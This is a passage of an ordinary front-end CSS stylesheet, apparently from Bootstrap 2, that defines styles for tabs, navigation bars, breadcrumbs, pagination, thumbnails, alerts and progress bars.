.nav-tabs,\n.tabs-right > .nav-tabs,\n.tabs-left > .nav-tabs {\n  border-bottom: 0;\n}\n.tab-content > .tab-pane,\n.pill-content > .pill-pane {\n  display: none;\n}\n.tab-content > .active,\n.pill-content > .active {\n  display: block;\n}\n.tabs-below > .nav-tabs {\n  border-top: 1px solid #ddd;\n}\n.tabs-below > .nav-tabs > li {\n  margin-top: -1px;\n  margin-bottom: 0;\n}\n.tabs-below > .nav-tabs > li > a {\n  -webkit-border-radius: 0 0 4px 4px;\n  -moz-border-radius: 0 0 4px 4px;\n  border-radius: 0 0 4px 4px;\n}\n.tabs-below > .nav-tabs > li > a:hover,\n.tabs-below > .nav-tabs > li > a:focus {\n  border-bottom-color: transparent;\n  border-top-color: #ddd;\n}\n.tabs-below > .nav-tabs > .active > a,\n.tabs-below > .nav-tabs > .active > a:hover,\n.tabs-below > .nav-tabs > .active > a:focus {\n  border-color: transparent #ddd #ddd #ddd;\n}\n.tabs-left > .nav-tabs > li,\n.tabs-right > .nav-tabs > li {\n  float: none;\n}\n.tabs-left > .nav-tabs > li > a,\n.tabs-right > .nav-tabs > li > a {\n  min-width: 74px;\n  margin-right: 0;\n  margin-bottom: 3px;\n}\n.tabs-left > .nav-tabs {\n  float: left;\n  margin-right: 19px;\n  border-right: 1px solid #ddd;\n}\n.tabs-left > .nav-tabs > li > a {\n  margin-right: -1px;\n  -webkit-border-radius: 4px 0 0 4px;\n  -moz-border-radius: 4px 0 0 4px;\n  border-radius: 4px 0 0 4px;\n}\n.tabs-left > .nav-tabs > li > a:hover,\n.tabs-left > .nav-tabs > li > a:focus {\n  border-color: #eeeeee #dddddd #eeeeee #eeeeee;\n}\n.tabs-left > .nav-tabs .active > a,\n.tabs-left > .nav-tabs .active > a:hover,\n.tabs-left > .nav-tabs .active > a:focus {\n  border-color: #ddd transparent #ddd #ddd;\n  *border-right-color: #ffffff;\n}\n.tabs-right > .nav-tabs {\n  float: right;\n  margin-left: 19px;\n  border-left: 1px solid #ddd;\n}\n.tabs-right > .nav-tabs > li > a {\n  margin-left: -1px;\n  -webkit-border-radius: 0 4px 4px 0;\n  -moz-border-radius: 0 4px 4px 0;\n  border-radius: 0 4px 4px 0;\n}\n.tabs-right > .nav-tabs > li > a:hover,\n.tabs-right > .nav-tabs > li > a:focus {\n  border-color: #eeeeee #eeeeee #eeeeee #dddddd;\n}\n.tabs-right > .nav-tabs .active > a,\n.tabs-right > .nav-tabs .active > a:hover,\n.tabs-right > .nav-tabs .active > a:focus {\n  border-color: #ddd #ddd #ddd transparent;\n  *border-left-color: #ffffff;\n}\n.nav > .disabled > a {\n  color: #999999;\n}\n.nav > .disabled > a:hover,\n.nav > .disabled > a:focus {\n  text-decoration: none;\n  background-color: transparent;\n  cursor: default;\n}\n.navbar {\n  overflow: visible;\n  margin-bottom: 20px;\n  *position: relative;\n  *z-index: 2;\n}\n.navbar-inner {\n  min-height: 40px;\n  padding-left: 20px;\n  padding-right: 20px;\n  background-color: #fafafa;\n  background-image: -moz-linear-gradient(top, #ffffff, #f2f2f2);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f2f2f2));\n  background-image: -webkit-linear-gradient(top, #ffffff, #f2f2f2);\n  background-image: -o-linear-gradient(top, #ffffff, #f2f2f2);\n  background-image: linear-gradient(to bottom, #ffffff, #f2f2f2);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff2f2f2', GradientType=0);\n  border: 1px solid #d4d4d4;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.065);\n  -moz-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.065);\n  box-shadow: 0 1px 4px rgba(0, 0, 0, 0.065);\n  *zoom: 1;\n}\n.navbar-inner:before,\n.navbar-inner:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.navbar-inner:after {\n  clear: both;\n}\n.navbar .container {\n  width: auto;\n}\n.nav-collapse.collapse {\n  height: auto;\n  overflow: visible;\n}\n.navbar .brand {\n  float: left;\n  display: block;\n  padding: 10px 20px 10px;\n  margin-left: -20px;\n  font-size: 20px;\n  font-weight: 200;\n  color: #777777;\n  text-shadow: 0 1px 0 #ffffff;\n}\n.navbar .brand:hover,\n.navbar .brand:focus {\n  text-decoration: none;\n}\n.navbar-text {\n  margin-bottom: 0;\n  line-height: 40px;\n  color: #777777;\n}\n.navbar-link {\n  color: #777777;\n}\n.navbar-link:hover,\n.navbar-link:focus {\n  color: #333333;\n}\n.navbar .divider-vertical {\n  height: 40px;\n  margin: 0 9px;\n  border-left: 1px solid #f2f2f2;\n  border-right: 1px solid #ffffff;\n}\n.navbar .btn,\n.navbar .btn-group {\n  margin-top: 5px;\n}\n.navbar .btn-group .btn,\n.navbar .input-prepend .btn,\n.navbar .input-append .btn,\n.navbar .input-prepend .btn-group,\n.navbar .input-append .btn-group {\n  margin-top: 0;\n}\n.navbar-form {\n  margin-bottom: 0;\n  *zoom: 1;\n}\n.navbar-form:before,\n.navbar-form:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.navbar-form:after {\n  clear: both;\n}\n.navbar-form input,\n.navbar-form select,\n.navbar-form .radio,\n.navbar-form .checkbox {\n  margin-top: 5px;\n}\n.navbar-form input,\n.navbar-form select,\n.navbar-form .btn {\n  display: inline-block;\n  margin-bottom: 0;\n}\n.navbar-form input[type=\"image\"],\n.navbar-form input[type=\"checkbox\"],\n.navbar-form input[type=\"radio\"] {\n  margin-top: 3px;\n}\n.navbar-form .input-append,\n.navbar-form .input-prepend {\n  margin-top: 5px;\n  white-space: nowrap;\n}\n.navbar-form .input-append input,\n.navbar-form .input-prepend input {\n  margin-top: 0;\n}\n.navbar-search {\n  position: relative;\n  float: left;\n  margin-top: 5px;\n  margin-bottom: 0;\n}\n.navbar-search .search-query {\n  margin-bottom: 0;\n  padding: 4px 14px;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 13px;\n  font-weight: normal;\n  line-height: 1;\n  -webkit-border-radius: 15px;\n  -moz-border-radius: 15px;\n  border-radius: 15px;\n}\n.navbar-static-top {\n  position: static;\n  margin-bottom: 0;\n}\n.navbar-static-top .navbar-inner {\n  -webkit-border-radius: 0;\n  -moz-border-radius: 0;\n  border-radius: 0;\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n  margin-bottom: 0;\n}\n.navbar-fixed-top .navbar-inner,\n.navbar-static-top .navbar-inner {\n  border-width: 0 0 1px;\n}\n.navbar-fixed-bottom .navbar-inner {\n  border-width: 1px 0 0;\n}\n.navbar-fixed-top .navbar-inner,\n.navbar-fixed-bottom .navbar-inner {\n  padding-left: 0;\n  padding-right: 0;\n  -webkit-border-radius: 0;\n  -moz-border-radius: 0;\n  border-radius: 0;\n}\n.navbar-static-top .container,\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n  width: 940px;\n}\n.navbar-fixed-top {\n  top: 0;\n}\n.navbar-fixed-top .navbar-inner,\n.navbar-static-top .navbar-inner {\n  -webkit-box-shadow: 0 1px 10px rgba(0,0,0,.1);\n  -moz-box-shadow: 0 1px 10px rgba(0,0,0,.1);\n  box-shadow: 0 1px 10px rgba(0,0,0,.1);\n}\n.navbar-fixed-bottom {\n  bottom: 0;\n}\n.navbar-fixed-bottom .navbar-inner {\n  -webkit-box-shadow: 0 -1px 10px rgba(0,0,0,.1);\n  -moz-box-shadow: 0 -1px 10px rgba(0,0,0,.1);\n  box-shadow: 0 -1px 10px rgba(0,0,0,.1);\n}\n.navbar .nav {\n  position: relative;\n  left: 0;\n  display: block;\n  float: left;\n  margin: 0 10px 0 0;\n}\n.navbar .nav.pull-right {\n  float: right;\n  margin-right: 0;\n}\n.navbar .nav > li {\n  float: left;\n}\n.navbar .nav > li > a {\n  float: none;\n  padding: 10px 15px 10px;\n  color: #777777;\n  text-decoration: none;\n  text-shadow: 0 1px 0 #ffffff;\n}\n.navbar .nav .dropdown-toggle .caret {\n  margin-top: 8px;\n}\n.navbar .nav > li > a:focus,\n.navbar .nav > li > a:hover {\n  background-color: transparent;\n  color: #333333;\n  text-decoration: none;\n}\n.navbar .nav > .active > a,\n.navbar .nav > .active > a:hover,\n.navbar .nav > .active > a:focus {\n  color: #555555;\n  text-decoration: none;\n  background-color: #e5e5e5;\n  -webkit-box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125);\n  -moz-box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125);\n  box-shadow: inset 0 3px 8px rgba(0, 0, 0, 0.125);\n}\n.navbar .btn-navbar {\n  display: none;\n  float: right;\n  padding: 7px 10px;\n  margin-left: 5px;\n  margin-right: 5px;\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #ededed;\n  background-image: -moz-linear-gradient(top, #f2f2f2, #e5e5e5);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f2f2f2), to(#e5e5e5));\n  background-image: -webkit-linear-gradient(top, #f2f2f2, #e5e5e5);\n  background-image: -o-linear-gradient(top, #f2f2f2, #e5e5e5);\n  background-image: linear-gradient(to bottom, #f2f2f2, #e5e5e5);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2f2f2', endColorstr='#ffe5e5e5', GradientType=0);\n  border-color: #e5e5e5 #e5e5e5 #bfbfbf;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  *background-color: #e5e5e5;\n  /* Darken IE7 buttons by default so they stand out more given they won't have borders */\n\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);\n  -moz-box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);\n  box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);\n}\n.navbar .btn-navbar:hover,\n.navbar .btn-navbar:focus,\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active,\n.navbar .btn-navbar.disabled,\n.navbar .btn-navbar[disabled] {\n  color: #ffffff;\n  background-color: #e5e5e5;\n  *background-color: #d9d9d9;\n}\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active {\n  background-color: #cccccc \\9;\n}\n.navbar .btn-navbar .icon-bar {\n  display: block;\n  width: 18px;\n  height: 2px;\n  background-color: #f5f5f5;\n  -webkit-border-radius: 1px;\n  -moz-border-radius: 1px;\n  border-radius: 1px;\n  -webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n  -moz-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n  box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n}\n.btn-navbar .icon-bar + .icon-bar {\n  margin-top: 3px;\n}\n.navbar .nav > li > .dropdown-menu:before {\n  content: '';\n  display: inline-block;\n  border-left: 7px solid transparent;\n  border-right: 7px solid transparent;\n  border-bottom: 7px solid #ccc;\n  border-bottom-color: rgba(0, 0, 0, 0.2);\n  position: absolute;\n  top: -7px;\n  left: 9px;\n}\n.navbar .nav > li > .dropdown-menu:after {\n  content: '';\n  display: inline-block;\n  border-left: 6px solid transparent;\n  border-right: 6px solid transparent;\n  border-bottom: 6px solid #ffffff;\n  position: absolute;\n  top: -6px;\n  left: 10px;\n}\n.navbar-fixed-bottom .nav > li > .dropdown-menu:before {\n  border-top: 7px solid #ccc;\n  border-top-color: rgba(0, 0, 0, 0.2);\n  border-bottom: 0;\n  bottom: -7px;\n  top: auto;\n}\n.navbar-fixed-bottom .nav > li > .dropdown-menu:after {\n  border-top: 6px solid #ffffff;\n  border-bottom: 0;\n  bottom: -6px;\n  top: auto;\n}\n.navbar .nav li.dropdown > a:hover .caret,\n.navbar .nav li.dropdown > a:focus .caret {\n  border-top-color: #333333;\n  border-bottom-color: #333333;\n}\n.navbar .nav li.dropdown.open > .dropdown-toggle,\n.navbar .nav li.dropdown.active > .dropdown-toggle,\n.navbar .nav li.dropdown.open.active > .dropdown-toggle {\n  background-color: #e5e5e5;\n  color: #555555;\n}\n.navbar .nav li.dropdown > .dropdown-toggle .caret {\n  border-top-color: #777777;\n  border-bottom-color: #777777;\n}\n.navbar .nav li.dropdown.open > .dropdown-toggle .caret,\n.navbar .nav li.dropdown.active > .dropdown-toggle .caret,\n.navbar .nav li.dropdown.open.active > .dropdown-toggle .caret {\n  border-top-color: #555555;\n  border-bottom-color: #555555;\n}\n.navbar .pull-right > li > .dropdown-menu,\n.navbar .nav > li > .dropdown-menu.pull-right {\n  left: auto;\n  right: 0;\n}\n.navbar .pull-right > li > .dropdown-menu:before,\n.navbar .nav > li > .dropdown-menu.pull-right:before {\n  left: auto;\n  right: 12px;\n}\n.navbar .pull-right > li > .dropdown-menu:after,\n.navbar .nav > li > .dropdown-menu.pull-right:after {\n  left: auto;\n  right: 13px;\n}\n.navbar .pull-right > li > .dropdown-menu .dropdown-menu,\n.navbar .nav > li > .dropdown-menu.pull-right .dropdown-menu {\n  left: auto;\n  right: 100%;\n  margin-left: 0;\n  margin-right: -1px;\n  -webkit-border-radius: 6px 0 6px 6px;\n  -moz-border-radius: 6px 0 6px 6px;\n  border-radius: 6px 0 6px 6px;\n}\n.navbar-inverse .navbar-inner {\n  background-color: #1b1b1b;\n  background-image: -moz-linear-gradient(top, #222222, #111111);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#222222), to(#111111));\n  background-image: -webkit-linear-gradient(top, #222222, #111111);\n  background-image: -o-linear-gradient(top, #222222, #111111);\n  background-image: linear-gradient(to bottom, #222222, #111111);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff222222', endColorstr='#ff111111', GradientType=0);\n  border-color: #252525;\n}\n.navbar-inverse .brand,\n.navbar-inverse .nav > li > a {\n  color: #999999;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n.navbar-inverse .brand:hover,\n.navbar-inverse .nav > li > a:hover,\n.navbar-inverse .brand:focus,\n.navbar-inverse .nav > li > a:focus {\n  color: #ffffff;\n}\n.navbar-inverse .brand {\n  color: #999999;\n}\n.navbar-inverse .navbar-text {\n  color: #999999;\n}\n.navbar-inverse .nav > li > a:focus,\n.navbar-inverse .nav > li > a:hover {\n  background-color: transparent;\n  color: #ffffff;\n}\n.navbar-inverse .nav .active > a,\n.navbar-inverse .nav .active > a:hover,\n.navbar-inverse .nav .active > a:focus {\n  color: #ffffff;\n  background-color: #111111;\n}\n.navbar-inverse .navbar-link {\n  color: #999999;\n}\n.navbar-inverse .navbar-link:hover,\n.navbar-inverse .navbar-link:focus {\n  color: #ffffff;\n}\n.navbar-inverse .divider-vertical {\n  border-left-color: #111111;\n  border-right-color: #222222;\n}\n.navbar-inverse .nav li.dropdown.open > .dropdown-toggle,\n.navbar-inverse .nav li.dropdown.active > .dropdown-toggle,\n.navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle {\n  background-color: #111111;\n  color: #ffffff;\n}\n.navbar-inverse .nav li.dropdown > a:hover .caret,\n.navbar-inverse .nav li.dropdown > a:focus .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n}\n.navbar-inverse .nav li.dropdown > .dropdown-toggle .caret {\n  border-top-color: #999999;\n  border-bottom-color: #999999;\n}\n.navbar-inverse .nav li.dropdown.open > .dropdown-toggle .caret,\n.navbar-inverse .nav li.dropdown.active > .dropdown-toggle .caret,\n.navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n}\n.navbar-inverse .navbar-search .search-query {\n  color: #ffffff;\n  background-color: #515151;\n  border-color: #111111;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15);\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15);\n  box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15);\n  -webkit-transition: none;\n  -moz-transition: none;\n  -o-transition: none;\n  transition: none;\n}\n.navbar-inverse .navbar-search .search-query:-moz-placeholder {\n  color: #cccccc;\n}\n.navbar-inverse .navbar-search .search-query:-ms-input-placeholder {\n  color: #cccccc;\n}\n.navbar-inverse .navbar-search .search-query::-webkit-input-placeholder {\n  color: #cccccc;\n}\n.navbar-inverse .navbar-search .search-query:focus,\n.navbar-inverse .navbar-search .search-query.focused {\n  padding: 5px 15px;\n  color: #333333;\n  text-shadow: 0 1px 0 #ffffff;\n  background-color: #ffffff;\n  border: 0;\n  -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n  -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n  box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n  outline: 0;\n}\n.navbar-inverse .btn-navbar {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #0e0e0e;\n  background-image: -moz-linear-gradient(top, #151515, #040404);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#151515), to(#040404));\n  background-image: -webkit-linear-gradient(top, #151515, #040404);\n  background-image: -o-linear-gradient(top, #151515, #040404);\n  background-image: linear-gradient(to bottom, #151515, #040404);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff151515', endColorstr='#ff040404', GradientType=0);\n  border-color: #040404 #040404 #000000;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  *background-color: #040404;\n  /* Darken IE7 buttons by default so they stand out more given they won't have borders */\n\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.navbar-inverse .btn-navbar:hover,\n.navbar-inverse .btn-navbar:focus,\n.navbar-inverse .btn-navbar:active,\n.navbar-inverse .btn-navbar.active,\n.navbar-inverse .btn-navbar.disabled,\n.navbar-inverse .btn-navbar[disabled] {\n  color: #ffffff;\n  background-color: #040404;\n  *background-color: #000000;\n}\n.navbar-inverse .btn-navbar:active,\n.navbar-inverse .btn-navbar.active {\n  background-color: #000000 \\9;\n}\n.breadcrumb {\n  padding: 8px 15px;\n  margin: 0 0 20px;\n  list-style: none;\n  background-color: #f5f5f5;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n}\n.breadcrumb > li {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n  text-shadow: 0 1px 0 #ffffff;\n}\n.breadcrumb > li > .divider {\n  padding: 0 5px;\n  color: #ccc;\n}\n.breadcrumb > .active {\n  color: #999999;\n}\n.pagination {\n  margin: 20px 0;\n}\n.pagination ul {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n  margin-left: 0;\n  margin-bottom: 0;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n  -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.pagination ul > li {\n  display: inline;\n}\n.pagination ul > li > a,\n.pagination ul > li > span {\n  float: left;\n  padding: 4px 12px;\n  line-height: 20px;\n  text-decoration: none;\n  background-color: #ffffff;\n  border: 1px solid #dddddd;\n  border-left-width: 0;\n}\n.pagination ul > li > a:hover,\n.pagination ul > li > a:focus,\n.pagination ul > .active > a,\n.pagination ul > .active > span {\n  background-color: #f5f5f5;\n}\n.pagination ul > .active > a,\n.pagination ul > .active > span {\n  color: #999999;\n  cursor: default;\n}\n.pagination ul > .disabled > span,\n.pagination ul > .disabled > a,\n.pagination ul > .disabled > a:hover,\n.pagination ul > .disabled > a:focus {\n  color: #999999;\n  background-color: transparent;\n  cursor: default;\n}\n.pagination ul > li:first-child > a,\n.pagination ul > li:first-child > span {\n  border-left-width: 1px;\n  -webkit-border-top-left-radius: 4px;\n  -moz-border-radius-topleft: 4px;\n  border-top-left-radius: 4px;\n  -webkit-border-bottom-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n  border-bottom-left-radius: 4px;\n}\n.pagination ul > li:last-child > a,\n.pagination ul > li:last-child > span {\n  -webkit-border-top-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n  border-top-right-radius: 4px;\n  -webkit-border-bottom-right-radius: 4px;\n  -moz-border-radius-bottomright: 4px;\n  border-bottom-right-radius: 4px;\n}\n.pagination-centered {\n  text-align: center;\n}\n.pagination-right {\n  text-align: right;\n}\n.pagination-large ul > li > a,\n.pagination-large ul > li > span {\n  padding: 11px 19px;\n  font-size: 17.5px;\n}\n.pagination-large ul > li:first-child > a,\n.pagination-large ul > li:first-child > span {\n  -webkit-border-top-left-radius: 6px;\n  -moz-border-radius-topleft: 6px;\n  border-top-left-radius: 6px;\n  -webkit-border-bottom-left-radius: 6px;\n  -moz-border-radius-bottomleft: 6px;\n  border-bottom-left-radius: 6px;\n}\n.pagination-large ul > li:last-child > a,\n.pagination-large ul > li:last-child > span {\n  -webkit-border-top-right-radius: 6px;\n  -moz-border-radius-topright: 6px;\n  border-top-right-radius: 6px;\n  -webkit-border-bottom-right-radius: 6px;\n  -moz-border-radius-bottomright: 6px;\n  border-bottom-right-radius: 6px;\n}\n.pagination-mini ul > li:first-child > a,\n.pagination-small ul > li:first-child > a,\n.pagination-mini ul > li:first-child > span,\n.pagination-small ul > li:first-child > span {\n  -webkit-border-top-left-radius: 3px;\n  -moz-border-radius-topleft: 3px;\n  border-top-left-radius: 3px;\n  -webkit-border-bottom-left-radius: 3px;\n  -moz-border-radius-bottomleft: 3px;\n  border-bottom-left-radius: 3px;\n}\n.pagination-mini ul > li:last-child > a,\n.pagination-small ul > li:last-child > a,\n.pagination-mini ul > li:last-child > span,\n.pagination-small ul > li:last-child > span {\n  -webkit-border-top-right-radius: 3px;\n  -moz-border-radius-topright: 3px;\n  border-top-right-radius: 3px;\n  -webkit-border-bottom-right-radius: 3px;\n  -moz-border-radius-bottomright: 3px;\n  border-bottom-right-radius: 3px;\n}\n.pagination-small ul > li > a,\n.pagination-small ul > li > span {\n  padding: 2px 10px;\n  font-size: 11.9px;\n}\n.pagination-mini ul > li > a,\n.pagination-mini ul > li > span {\n  padding: 0 6px;\n  font-size: 10.5px;\n}\n.pager {\n  margin: 20px 0;\n  list-style: none;\n  text-align: center;\n  *zoom: 1;\n}\n.pager:before,\n.pager:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.pager:after {\n  clear: both;\n}\n.pager li {\n  display: inline;\n}\n.pager li > a,\n.pager li > span {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 15px;\n  -moz-border-radius: 15px;\n  border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n.pager .next > a,\n.pager .next > span {\n  float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n  float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n  color: #999999;\n  background-color: #fff;\n  cursor: default;\n}\n.thumbnails {\n  margin-left: -20px;\n  list-style: none;\n  *zoom: 1;\n}\n.thumbnails:before,\n.thumbnails:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.thumbnails:after {\n  clear: both;\n}\n.row-fluid .thumbnails {\n  margin-left: 0;\n}\n.thumbnails > li {\n  float: left;\n  margin-bottom: 20px;\n  margin-left: 20px;\n}\n.thumbnail {\n  display: block;\n  padding: 4px;\n  line-height: 20px;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.055);\n  -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.055);\n  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.055);\n  -webkit-transition: all 0.2s ease-in-out;\n  -moz-transition: all 0.2s ease-in-out;\n  -o-transition: all 0.2s ease-in-out;\n  transition: all 0.2s ease-in-out;\n}\na.thumbnail:hover,\na.thumbnail:focus {\n  border-color: #0088cc;\n  -webkit-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n  -moz-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n  box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n}\n.thumbnail > img {\n  display: block;\n  max-width: 100%;\n  margin-left: auto;\n  margin-right: auto;\n}\n.thumbnail .caption {\n  padding: 9px;\n  color: #555555;\n}\n.alert {\n  padding: 8px 35px 8px 14px;\n  margin-bottom: 20px;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n  background-color: #fcf8e3;\n  border: 1px solid #fbeed5;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n}\n.alert,\n.alert h4 {\n  color: #c09853;\n}\n.alert h4 {\n  margin: 0;\n}\n.alert .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  line-height: 20px;\n}\n.alert-success {\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n  color: #468847;\n}\n.alert-success h4 {\n  color: #468847;\n}\n.alert-danger,\n.alert-error {\n  background-color: #f2dede;\n  border-color: #eed3d7;\n  color: #b94a48;\n}\n.alert-danger h4,\n.alert-error h4 {\n  color: #b94a48;\n}\n.alert-info {\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n  color: #3a87ad;\n}\n.alert-info h4 {\n  color: #3a87ad;\n}\n.alert-block {\n  padding-top: 14px;\n  padding-bottom: 14px;\n}\n.alert-block > p,\n.alert-block > ul {\n  margin-bottom: 0;\n}\n.alert-block p + p {\n  margin-top: 5px;\n}\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@-moz-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@-ms-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@-o-keyframes progress-bar-stripes {\n  from {\n    background-position: 0 0;\n  }\n  to {\n    background-position: 40px 0;\n  }\n}\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n.progress {\n  overflow: hidden;\n  height: 20px;\n  margin-bottom: 20px;\n  background-color: #f7f7f7;\n  background-image: -moz-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));\n  background-image: -webkit-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -o-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: linear-gradient(to bottom, #f5f5f5, #f9f9f9);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff9f9f9', GradientType=0);\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n  -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n}\n.progress .bar {\n  width: 0%;\n  height: 100%;\n  color: #ffffff;\n  float: left;\n  font-size: 12px;\n  text-align: center;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #0e90d2;\n  background-image: -moz-linear-gradient(top, #149bdf, #0480be);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));\n  background-image: -webkit-linear-gradient(top, #149bdf, #0480be);\n  background-image: -o-linear-gradient(top, #149bdf, #0480be);\n  background-image: linear-gradient(to bottom, #149bdf, #0480be);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff149bdf', endColorstr='#ff0480be', GradientType=0);\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n  -moz-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n  box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n  -webkit-box-sizing: border-box;\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n  -webkit-transition: width 0.6s ease;\n  -moz-transition: width 0.6s ease;\n  -o-transition: width 0.6s ease;\n  transition: width 0.6s ease;\n}\n.progress .bar + .bar {\n  -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);\n  -moz-box-shadow: inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);\n  box-shadow: inset 1px 0 0 rgba(0,0,0,.15), inset 0 -1px 0 rgba(0,0,0,.15);\n}\n.progress-striped .bar {\n  background-color: #149bdf;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 